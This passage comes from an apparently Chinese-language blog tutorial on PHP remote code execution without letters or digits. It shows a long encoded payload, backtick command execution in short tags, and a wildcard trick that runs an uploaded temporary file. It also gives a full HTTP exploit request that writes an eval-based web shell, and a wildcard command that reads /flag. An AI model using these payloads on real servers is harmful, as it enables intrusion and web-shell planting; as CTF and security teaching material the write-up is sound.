operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">27</span>_<span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">2</span>b<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">.</span><span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span>__<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">3</span>d<span class="token operator">%</span><span class="token number">24</span><span class="token operator">%</span><span class="token number">24</span>____<span class="token operator">%</span><span class="token number">3</span>b<span class="token operator">%</span><span class="token number">24</span>___<span class="token punctuation">(</span><span class="token operator">%</span><span class="token number">24</span>_<span class="token operator">%</span><span class="token number">5</span>b_<span class="token operator">%</span><span class="token number">5</span>d<span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">3</span>b</span></code></pre><p>注意这两个payload利用的话要php版本小于7才能成功利用，</p><blockquote><p>php5中assert是一个函数，我们可以通过<code>$f=&#39;assert&#39;;$f(...);</code>这样的方法来动态执行任意代码。</p><p>但php7中，<code>assert</code>不再是函数，变成了一个语言结构（类似<code>eval</code>），不能再作为函数名动态执行代码，所以利用起来稍微复杂一点。但也无需过于担心，比如我们利用<code>file_put_contents</code>函数，同样可以用来<code>getshell</code>。</p></blockquote><p>测试结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/PHP%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97RCE/image-20200809170716430.png" alt loading="lazy"></p><h3 id="短标签"><a href="#短标签" class="headerlink" title="短标签"></a>短标签</h3><p>PHP中有两种短标签，<code>&lt;??&gt;</code>和<code>&lt;?=?&gt;</code>。其中，<code>&lt;??&gt;</code>相当于对<code>&lt;?php&gt;</code>的替换。而<code>&lt;?=?&gt;</code>则是相当于<code>&lt;? echo&gt;</code>.</p><p>例如：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?=</span><span class="token string single-quoted-string">'whoami'</span><span class="token delimiter important">?></span></span>  //输出  whoami<span class="token php language-php"><span class="token delimiter important">&lt;?=</span><span class="token string backtick-quoted-string">`whoami`</span><span class="token delimiter important">?></span></span>  //输出  命令执行后的结果</code></pre><p>PHP中POST上传文件会把我们上传的文件暂时存在<code>/tmp</code>文件夹中，默认文件名是<code>/tmp/phpXXXXXX</code>，文件名最后6个字符是随机的大小写字母。</p><p>尝试生成执行的文件，payload：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token operator">.</span> <span class="token operator">/</span><span class="token operator">??</span><span class="token operator">?</span><span class="token operator">/</span><span class="token operator">??</span><span class="token operator">??</span><span class="token operator">??</span><span class="token operator">??</span><span class="token punctuation">[</span>@<span class="token operator">-</span><span class="token punctuation">[</span><span class="token punctuation">]</span></code></pre><p>最后的<code>[@-[]</code>表示ASCII在<code>@</code>和<code>[</code>之间的字符，也就是大写字母，所以最后会执行的文件是<code>tmp</code>文件夹下结尾是大写字母的文件。</p><p>exp数据包</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/?exp=?>&lt;?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?></span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">xxxxxx:2333</span></span><span class="token header"><span class="token header-name keyword">User-Agent</span><span class="token punctuation">:</span> <span class="token header-value">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0</span></span><span class="token header"><span class="token header-name keyword">Accept</span><span class="token punctuation">:</span> <span class="token header-value">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span></span><span class="token header"><span class="token header-name keyword">Accept-Language</span><span class="token punctuation">:</span> <span class="token header-value">zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span><span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span><span class="token header-value">multipart/form-data;boundary=--------123</span></span><span class="token header"><span class="token header-name keyword">Accept-Encoding</span><span class="token punctuation">:</span> <span class="token header-value">gzip, deflate</span></span><span class="token header"><span class="token header-name keyword">Connection</span><span class="token punctuation">:</span> <span class="token header-value">close</span></span><span class="token header"><span class="token header-name keyword">Upgrade-Insecure-Requests</span><span class="token punctuation">:</span> <span class="token header-value">1</span></span><span class="token header"><span class="token header-name keyword">Content-Length</span><span class="token punctuation">:</span> <span class="token header-value">106</span></span>----------123<span class="token header"><span class="token header-name keyword">Content-Disposition</span><span class="token punctuation">:</span><span class="token header-value">form-data;name="file";filename="1.txt"</span></span>echo "&lt;?php eval(\$_POST['shell']);" > success.php----------123--</code></pre><p>即可<code>getshell</code></p><p>拿<code>flag</code>的话还可以使用通配符</p><pre class="language-php" data-language="php"><code class="language-php">code=?><span class="token php language-php"><span class="token delimiter important">&lt;?=</span><span class="token string backtick-quoted-string">`/???/??? /????`</span><span class="token delimiter important">?></span></span></code></pre><p>其中<code>/???/??? /????</code>匹配<code>/bin/cat /flag</code>，这样也能得到<code>flag</code></p><h3 id="参考"><a href="#参考" class="headerlink" 